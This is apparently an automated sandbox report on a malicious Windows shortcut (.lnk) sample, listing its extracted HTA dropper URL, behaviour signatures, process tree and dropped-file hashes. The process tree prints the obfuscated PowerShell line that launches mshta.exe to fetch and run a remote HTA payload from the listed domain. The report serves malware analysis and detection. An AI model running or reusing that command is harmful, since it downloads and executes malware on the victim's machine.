Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/05/2024, 01:02

General

  • Target
    075d39cc0b27cbdb32eaffbf1a4536fdafc5238c7eba1e32c2001d9862e0fe7b.lnk
  • Size 1KB
  • Sample240525-bd45haha2x
  • SHA256 075d39cc0b27cbdb32eaffbf1a4536fdafc5238c7eba1e32c2001d9862e0fe7b
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://eduaiqi.uz/wordpress/room5.hta

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\075d39cc0b27cbdb32eaffbf1a4536fdafc5238c7eba1e32c2001d9862e0fe7b.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'https://eduaiqi.uz/wordpress/room5.hta'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" https://eduaiqi.uz/wordpress/room5.hta
        3⤵
        • Blocklisted process makes network request
        • Checks whether UAC is enabled
        PID:1372
  • C:\Program Files (x86)\Internet Explorer\ielowutil.exe
    "C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
    1⤵
      PID:3228
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2944 CREDAT:17410 /prefetch:2
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:3468
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2944 CREDAT:82946 /prefetch:2
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:2940

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          103621DE9CD5414CC2538780B4B75751

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
          • Size 717B
          • SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
          • MD5 SHA1 SHA512

          7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
          • Size 471B
          • SHA256 90052b1f97e33e41422ee5bdf739a18a7c66b30c282ea309314b68bbc7c093c1
          • MD5 SHA1 SHA512

          7F6ED76BB6FFF7ED1E782907D4D5A27A

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7F6ED76BB6FFF7ED1E782907D4D5A27A
          • Size 503B
          • SHA256 d5c04e01cac312e6e9d2d5ef4928a53ec52b092d876423506f03600d668c865a
          • MD5 SHA1 SHA512

          103621DE9CD5414CC2538780B4B75751

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
          • Size 192B
          • SHA256 4f708c5d0ce822bc857fad7eff7071ff9d86162a854d2ead8f69bcc8050c34c3
          • MD5 SHA1 SHA512

          7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
          • Size 404B
          • SHA256 4bbffb831ce70ddcaafac0c0bfde9a02dc09f935e22ae75d2add5451a1b400c5
          • MD5 SHA1 SHA512

          7F6ED76BB6FFF7ED1E782907D4D5A27A

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7F6ED76BB6FFF7ED1E782907D4D5A27A
          • Size 548B
          • SHA256 3809e92b0e43eec3a1fdd43c0d962007e83e867ce6037a549d42b1eaa7c43efd
          • MD5 SHA1 SHA512

          verEB2B.tmp

          • Path C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\verEB2B.tmp
          • Size 15KB
          • SHA256 557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1
          • MD5 SHA1 SHA512 SSDEEP

          suggestions[1].en-US

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\2IX84YPE\suggestions[1].en-US
          • Size 17KB
          • SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_kiaaxk5h.tiz.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kiaaxk5h.tiz.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/2284-14-0x00007FFF66DE0000-0x00007FFF678A1000-memory.dmp

          memory/2284-17-0x00007FFF66DE0000-0x00007FFF678A1000-memory.dmp

          memory/2284-13-0x00007FFF66DE0000-0x00007FFF678A1000-memory.dmp

          memory/2284-12-0x000001D3AFD60000-0x000001D3AFD82000-memory.dmp

          memory/2284-2-0x00007FFF66DE3000-0x00007FFF66DE5000-memory.dmp